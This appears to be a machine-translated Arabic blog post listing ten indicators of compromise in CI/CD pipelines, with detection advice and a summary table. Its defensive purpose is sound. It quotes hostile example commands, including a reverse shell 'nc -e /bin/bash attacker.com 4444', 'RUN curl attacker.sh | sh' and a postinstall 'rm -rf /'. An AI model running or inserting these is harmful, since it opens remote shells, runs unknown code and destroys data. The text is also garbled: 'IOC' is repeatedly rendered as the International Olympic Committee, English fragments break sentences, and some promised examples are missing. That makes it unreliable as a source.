المقدمة: ما هي مؤشرات الاختراق في مجال الأمن السيبراني؟
مؤشرات الاختراق هي أولى علامات التحذير من أن نظامك أو pipeline قد يكون تحت الهجوم. ببساطة، مؤشرات التسوية هي آثار تركها المهاجمون، مثل آثار غريبة loginأو تغييرات الملفات أو البرامج الضارة المخفية. الأمن السيبراني للجنة الأولمبية الدوليةتعمل كبصمات أصابع في مسرح الجريمة، مما يمنحك دليلاً واضحًا على وجود خطأ ما. لذلك، عندما يسأل المطورون ما هي مؤشرات الاختراقالجواب لا يقتصر على الخوادم أو جدران الحماية، بل يشمل أيضًا المخاطر المخفية في الأنظمة الحديثة. CI/CD pipelines.
في هذه pipelineفي هذه الحالة، يمكن للمهاجمين التلاعب بالشيفرة البرمجية، أو إدخال تبعيات ضارة، أو تغيير خطوات البناء دون أن يلاحظوا ذلك. ومع ذلك، لا تزال معظم الأدلة تركز فقط على الخوادم أو الشبكات. ونتيجة لذلك، أصبحت سلسلة توريد البرمجيات من أسهل الأهداف.
ولهذا السبب فإن العثور على مؤشرات التنازل في CI/CD pipelineيُعدّ s أمرًا بالغ الأهمية. فهو يُساعد الفرق على حظر البرامج الضارة، وحماية الأسرار، وتأمين كل خطوة من خطوات تسليم البرامج.
أهم 10 مؤشرات للاختراق في CI/CD Pipelines
عند شرح مؤشرات الاختراق، تُركز معظم القوائم على الخوادم أو الشبكات. ومع ذلك، في CI/CD pipelineيترك المهاجمون بصمات مختلفة تمامًا. يُعدّ التعرّف على هذه الإشارات أمرًا بالغ الأهمية للدفاع الاستباقي. فيما يلي عشر علامات تحذيرية للأمن السيبراني من اللجنة الأولمبية الدولية، والتي يجب على كل مطور ومهندس أمن الانتباه إليها.
1. تغييرات التبعية المشبوهة
أحد المؤشرات الرئيسية للتسوية في pipelines هو تحديث تبعية مفاجئ وغريب. غالبًا ما يستغل المهاجمون ثقة المطورين في مديري الحزم لإضافة حزم خطيرة.
على سبيل المثال، في npm a package.json قد يتضمن الاختلاف فجأة ما يلي:
قد تبدو مثل هذه التغييرات آمنة ولكنها قد تؤدي إلى حقن كود به حصان طروادة في كل عملية بناء.
تأثير: ترث الإصدارات المخترقة البرامج الضارة من المصدر.
كشف: فرض مراجعات التبعيات، وتتبع الاختلافات في ملفات القفل، ومسح الحزم الجديدة طوال الوقت.
2. الكود المُبهم في عمليات البناء
يعتمد مُنشئو البرامج الضارة على التعتيم لتجاوز المراجعات. ونتيجةً لذلك، يُشير هذا المؤشر إلى وجود اختراق في CI/CD pipelineقد يكون اكتشاف s من أصعب الأمور. في الواقع، غالبًا ما تتسلل الحمولات المُشوَّشة إلى مكتبات مفتوحة المصدر أو صور حاويات دون سابق إنذار.
فمثلا:
- حزمة PyPI باستخدام
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - صورة Docker مليئة بالثنائيات UPX غير الضرورية.
- جافا سكريبت مليئة بـ
\x41\x42يهرب من سارقي بيانات الاعتماد المختبئين.
تأثير: يتم تنفيذ التعليمات البرمجية المخفية بصمت أثناء البناء أو وقت التشغيل، مما يجعل هذا إشارة مهمة في مجال الأمن السيبراني للجنة الأولمبية الدولية.
كشف: دمج SAST باستخدام فحص البرامج الضارة للكشف عن الأكواد المشفرة أو المعبأة. والأهم من ذلك، التعامل مع التعتيم كعلامة تحذيرية تستحق مزيدًا من التحقيق.
3. كشف الأسرار في Git: خطر أمني سيبراني كلاسيكي للجنة الأولمبية الدولية
CI/CD pipelineغالبًا ما يرثون الأسرار مباشرةً من المستودعات. ومع ذلك، عندما تظهر الأسرار في Git، فإنها تصبح واحدة من الإجابات الأكثر وضوحا على السؤال "ما هي مؤشرات التنازل في pipelineبمجرد وصول بيانات الاعتماد إلى Git، يمكن للمهاجمين استغلالها إلى أجل غير مسمى.
فمثلا:
- A
.envملف يحتوي علىAWS_SECRET_KEY=. - تم دفع الرموز
config.json. - لا تزال الأسرار مرئية في سجل Git حتى بعد الإزالة.
تأثير: تتيح المفاتيح المكشوفة للمهاجمين الوصول المباشر إلى CI/CD pipelineأو أنظمة السحابة أو قواعد البيانات. لذا، يُعد هذا أحد أخطر مؤشرات الاختراق.
كشف: استعمل pre-commit hooks ووظائف التكامل المستمر للفحص السري، وإلغاء المفاتيح المسربة فورًا. بالإضافة إلى ذلك، فرض إصلاحات آلية لتقليل فترات التعرض.
4. تم العبث بها Pipeline التكوينات: مؤشرات الاختراق المخفية
Pipeline التكوينات هي أهداف ذات قيمة عالية لأنها غالبًا ما يؤدي تعديل واحد إلى اختطاف سير العمل بأكمله. وبالتالي، تم العبث بها pipeline تشكل الملفات الشخصية خطرًا كبيرًا على الأمن السيبراني للجنة الأولمبية الدولية، ونادرًا ما تكتشفها أدوات المراقبة التقليدية.
فمثلا:
في إجراءات GitHub:
- في GitLab: تمت إضافة وظيفة ضارة إلى
.gitlab-ci.ymlالذي يقوم بإفراغ البيانات الحساسة. - في جينكينز:
sh "nc -e /bin/bash attacker.com 4444".
تأثير: هذه التغييرات غير المعتمدة تحولك pipeline إلى باب خلفي دائم للمهاجمين، وهو ما يعد بوضوح مؤشرا على الاختراق.
كشف: فرض التكوينات الموقعة، وطلب موافقات العلاقات العامة، ومراقبة المهام غير المتوقعة. بالإضافة إلى ذلك، اضبط guardrails التي تمنع تلقائيًا سير العمل المتغير.
5. متميز IaC الافتراضات
غالبًا ما تُنشئ تعريفات البنية التحتية المُهيأة بشكل خاطئ أبوابًا خلفية مخفية. ونتيجةً لذلك، تُصبح الإعدادات الافتراضية ذات الامتيازات في IaC تشكل خطرا كلاسيكيا على الأمن السيبراني يهدد اللجنة الأولمبية الدولية.
فمثلا:
- نشر Kubernetes يمنح وحدات
privileged: true. - مخططات هيلم تعرض الخدمات مع
0.0.0.0:22.
تأثير: يحصل المهاجمون على وصول جذري للنظام أو يعرضون الخدمات الداخلية علنًا. ونتيجةً لذلك، تُوسّع هذه المشاكل نطاق الهجوم بشكل كبير.
كشف: تطبيق IaC المسح الضوئي لفرض الحد الأدنى من الامتيازات قبل الدمج. بالإضافة إلى ذلك، تأكد من مراجعة كل تكوين كجزء من pipeline.
6. سلوكيات بناء غير عادية
غالبًا ما يقوم المهاجمون بالتغيير pipeline سلوكٌ يُؤدي إلى أفعالٍ خبيثة. بعبارةٍ أخرى، يُعدّ نشاط البناء غير المعتاد أحد أوضح الإجابات على مؤشرات الاختراق في CI/CD pipelines.
فمثلا:
- إنشاء طلبات شبكة خارجية إلى مجالات غريبة.
- مشروع Node.js يولد PowerShell فجأة أثناء
npm install. - مهمة CI تقوم بتنزيل ملفات ثنائية كبيرة غير محددة في نصوص البناء.
تأثير: يمكن أن تُصبح الإصدارات المُخترقة نقاط توزيع للبرامج الضارة. والأهم من ذلك، أنها تنشر الحمولات الضارة عبر كل عملية نشر.
كشف: راقب سجلات البناء بحثًا عن عمليات أو اتصالات غير متوقعة. بالإضافة إلى ذلك، قم بتكوين خاصية اكتشاف الشذوذ للإشارة إلى السلوكيات غير الطبيعية.
7. نصوص الحزم الضارة تُشكل مخاطر أمنية على اللجنة الأولمبية الدولية
مديرو الحزم يدعمون دورة الحياة hooks يستغلها المهاجمون. لذلك، تُعدّ النصوص البرمجية الضارة في npm أو PyPI أو Dockerfiles مؤشرات قوية على الاختراق.
فمثلا:
- npm:
postinstallتشغيل البرنامج النصيrm -rf /أو الإشارة إلى C2. - باي بي آي:
setup.pyتنفيذ كود Python المخفي أثناء التثبيت. - ملف Docker:
RUN curl attacker.sh | sh.
تأثير: يُنفَّذ الهجوم أثناء التثبيت، قبل أي اختبار تشغيل. وبالتالي، قد لا يلاحظه المطورون إلا بعد فوات الأوان.
كشف: فحص بيانات الحزمة بحثًا عن نصوص التثبيت. بالإضافة إلى ذلك، تقييد المخاطر hooks in CI/CD وظائف لتقليل التعرض.
8. مؤشرات التسمم بالسجلات
يقوم المهاجمون باستبدال أو تعديل القطع الأثرية في السجلات، وهذه الأحداث هي أمثلة واضحة على مؤشرات الاختراق في سلسلة التوريد pipelines.
فمثلا:
- علامة صورة Docker تم تحديثها بصمت باستخدام طبقة محمية بحصان طروادة.
- تم استبدال الحزمة الداخلية بإصدار مسموم.
- الاستيلاء على مساحة اسم npm، مثل
lodash-proxy.
تأثير: كل عملية بناء باستخدام بيانات السجل تُصبح مُعرَّضة للخطر. ليس هذا فحسب، بل يمتد الخطر إلى الخدمات اللاحقة.
كشف: فرض عمليات التحقق من التوقيع والسلامة على جميع عمليات سحب السجل. بالإضافة إلى ذلك، تتبع مصدر القطع الأثرية باستخدام SBOM التحقق من الصحة.
9. نشاط المستخدم الشاذ كدليل للجنة الأولمبية الدولية
تترك الحسابات المخترقة دائمًا آثارًا غير طبيعية. وعليه، فإن سلوك المطور غير المعتاد يعد مؤشرا قويا على الاختراق.
فمثلا:
- Commitتم الدفع في الساعة 3 صباحًا بالتوقيت المحلي.
- موافقات العلاقات العامة من قبل الحسابات في الإجازة.
- Pipelineيتم تشغيلها بتردد غير عادي.
تأثير: يستغل المهاجمون بيانات الاعتماد المسروقة لإدخال تغييرات ضارة. في النهاية، لا يُسمح باستخدام بيانات اعتماد غير مصرح بها. commitتندمج بسهولة في سير العمل العادية.
كشف: الشاشات SCM نشاط للكشف عن الشذوذ، وتطبيق المصادقة الثنائية، وتدوير الرموز بانتظام. بالإضافة إلى ذلك، تنبيه في حال وجود أي شكوك commit أو أنماط الموافقة.
10. فشل عمليات التحقق من السلامة أو التوقيع في مجال الأمن السيبراني للجنة الأولمبية الدولية
أمر شائع ولكن تم تجاهله مؤشر التسوية فشل في فحص السلامة أو التوقيع. في مجال الأمن السيبراني للجنة الأولمبية الدولية، تُثبت هذه الفحوصات صحة الكود أو القطع الأثرية. تجاهلها يُبقي pipelineس مكشوفة.
أمثلة:
- تجزئة SHA256 لا تتطابق مع مجموع الاختبار المتوقع.
- توقيع GPG مفقود أو غير صالح.
- An SBOM إظهار القطع الأثرية غير الموقعة.
تأثير: غالبًا ما تعني حالات فشل السلامة التلاعب أو تسميم السجل أو حقن البرامج الضارة.
كشف: أتمتة عمليات التحقق من التوقيعات، وفرض التحقق من صحة المجموع الاختباري، وحظر المكونات غير الموقعة. والأهم من ذلك، اعتبر كل فحص فاشل دليلاً واضحاً على وجود اختراق.
CI/CD مؤشرات الاختراق في لمحة
| مؤشر التنازل (IOC) | التأثير في CI/CD Pipelines | كيفية الكشف |
|---|---|---|
| تغييرات التبعية المشبوهة | يقوم المهاجمون بحقن مكتبات ضارة في مديري الحزم، مما يؤدي إلى عمليات بناء مخترقة. | تتبع اختلافات ملف القفل، وفرض مراجعات التبعيات، ومسح التبعيات بشكل مستمر. |
| الكود المُبهم في الإصدارات | يتم تنفيذ الحمولات المخفية أثناء عمليات البناء أو وقت التشغيل دون اكتشافها. | استعمل SAST ومسح البرامج الضارة للإشارة إلى أنماط التعليمات البرمجية الأساسية 64 أو hex أو المعبأة. |
| الأسرار المكشوفة في Git | تتيح الرموز المسربة أو مفاتيح API للمهاجمين الوصول المباشر إلى الأنظمة الحيوية. | تشغيل عمليات المسح السرية في Git hooks وإلغاء بيانات الاعتماد المسربة تلقائيًا. |
| تم العبث بها Pipeline تكوينات | تسمح سير العمل المعدلة باستخراج البيانات أو الاحتفاظ بها بالداخل CI/CD. | تتطلب موافقات العلاقات العامة، وفرض التكوينات الموقعة، والمراقبة pipeline التغييرات. |
| متميز IaC الافتراضات | تؤدي الأدوار المفرطة في التساهل أو الإعدادات الافتراضية غير الآمنة إلى تعريض بيئات السحابة للخطر. | قم بمسح ملفات Terraform وKubernetes وHelm لتطبيق الحد الأدنى من الامتيازات. |
| سلوكيات بناء غير عادية | Pipelineيتم استخدامها كنقطة توزيع للبرامج الضارة أو للحركة الجانبية. | تحليل سجلات البناء بحثًا عن التنزيلات أو العمليات أو المكالمات الصادرة غير المتوقعة. |
| نصوص الحزم الضارة | تؤدي البرامج النصية المخفية قبل/بعد التثبيت إلى تشغيل الحمولات قبل اختبار وقت التشغيل. | حظر البرامج النصية الخطرة npm/PyPI وتقييد التنفيذ في CI/CD وظائف. |
| التسمم بالسجل | تحل القطع الأثرية المصابة بأحصنة طروادة محل الصور أو الملفات الثنائية الموثوقة في السجلات. | التحقق من مبالغ الاختبار، وفرض التحقق من صحة التوقيع، ومسح السجلات بشكل استباقي. |
| نشاط المستخدم الشاذ | الحسابات المخترقة تدفع البرامج الضارة commits أو الزناد pipelines. | فرض MFA، مراقبة commits للتشوهات، وتحليلها login أنماط - رسم. |
| فشل عمليات التحقق من السلامة أو التوقيع | يشير إلى الكود أو التبعيات أو الصور التي تم العبث بها والتي تدخل pipeline. | أتمتة عمليات التحقق من السلامة وحظر المكونات غير الموقعة أو غير المتطابقة. |
لماذا تفشل اللجنة الأولمبية الدولية في تحقيق أهدافها الأمنية السيبرانية التقليدية؟ CI/CD لمخاطر
تراقب معظم المؤسسات بالفعل مؤشرات الاختراق على الخوادم أو أجهزة الكمبيوتر أو الشبكات. ومع ذلك، يتجاهل هذا النهج التقليدي للأمن السيبراني للجنة الأولمبية الدولية CI/CD pipelines، والتي أصبحت الآن من أخطر سطوح الهجوم. في الواقع، pipelineتظهر إشارات اختراق فريدة لا تستطيع الأدوات التقليدية اكتشافها.
مؤشرات الاختراق في الأمن التقليدي
في مجال الأمن السيبراني التقليدي للجنة الأولمبية الدولية، يتركز التركيز عادةً على:
- غير عادي loginعناوين IP أو s التي تشير إلى بيانات اعتماد مسروقة.
- تجزئات الملفات المشبوهة أو تغييرات التسجيل التي تكشف عن البرامج الضارة.
- حركة مرور خارجية غير متوقعة تشير إلى تسرب البيانات.
هذه هي المؤشرات المعروفة التي يتم تتبعها أيضًا في إطار MITER ATT & CK، الذي يرسم خريطةً لسلوكيات وتكتيكات الخصوم الشائعة. هذه إشارات مفيدة. ومع ذلك، فهي تنطبق بشكل رئيسي على أنظمة التشغيل أو شبكات الشركات. ونتيجةً لذلك، تغفل هذه الإشارات عن التلاعب الدقيق الذي يحدث في مراحل مبكرة من سلسلة توريد البرمجيات.
لماذا CI/CD Pipelineهل هي مختلفة؟
CI/CD pipelineهي بيئات آلية حيث يمكن للمطورين commit الكود، وتبعيات السحب، وإصدارات الإصدار. يعلم المهاجمون أن اختراقًا واحدًا هنا ينتشر عبر كل عملية نشر. بناءً على ذلك، ما هي مؤشرات الاختراق في CI/CD pipelineس؟ يبدو أنهم مختلفون جدًا:
- تمت إضافة اعتماد ضار بصمت إلى package.json أو requirements.txt.
- مفاتيح أو رموز API المعروضة في Git commitملفات s أو .env.
- تم حقن الكود المظلم في حزم npm أو PyPI.
- ملفات Terraform أو Kubernetes ذات الإعدادات الافتراضية غير الآمنة مثل privileged: true.
- Pipeline الوظائف التي تم تعديلها لاستخراج البيانات أو فتح الأبواب الخلفية.
هذه الإشارات التنازلية في CI/CD تظل غير مرئية standard أدوات الأمان.
الفجوة في الأمن السيبراني للجنة الأولمبية الدولية
على الرغم من إدراك العديد من الفرق لأهمية مؤشرات الاختراق، إلا أنها لا تزال تعتمد فقط على الكشف من الخوادم وسجلات الشبكة. لذلك، يمكن للمهاجمين تخريب عمليات البناء أو إدخال برامج ضارة دون ترك أي أثر. ولهذا السبب، لم تُكتشف حوادث مثل ثغرة XZ Utils الخلفية أو حزم npm الخبيثة حتى وصولها إلى مرحلة الإنتاج.
يتم تسليط الضوء أيضًا على هذه الأنواع من التنازلات في سلسلة التوريد من خلال CISإرشادات أمن سلسلة التوريد الخاصة بـ A، والذي يحذر من أن المهاجمين يستهدفون بشكل متزايد CI/CD pipelines والسجلات.
الوجبات السريعة
الأمن السيبراني التقليدي للجنة الأولمبية الدولية ضروري، ولكنه ليس كافيًا. قبل كل شيء، يجب على الفرق التعرف على مؤشرات الاختراق الخاصة بـ CI/CD pipelineس. حينها فقط يمكنهم اكتشاف الكود الخبيث أو pipeline الإساءة قبل أن تنتشر عبر البيئات.
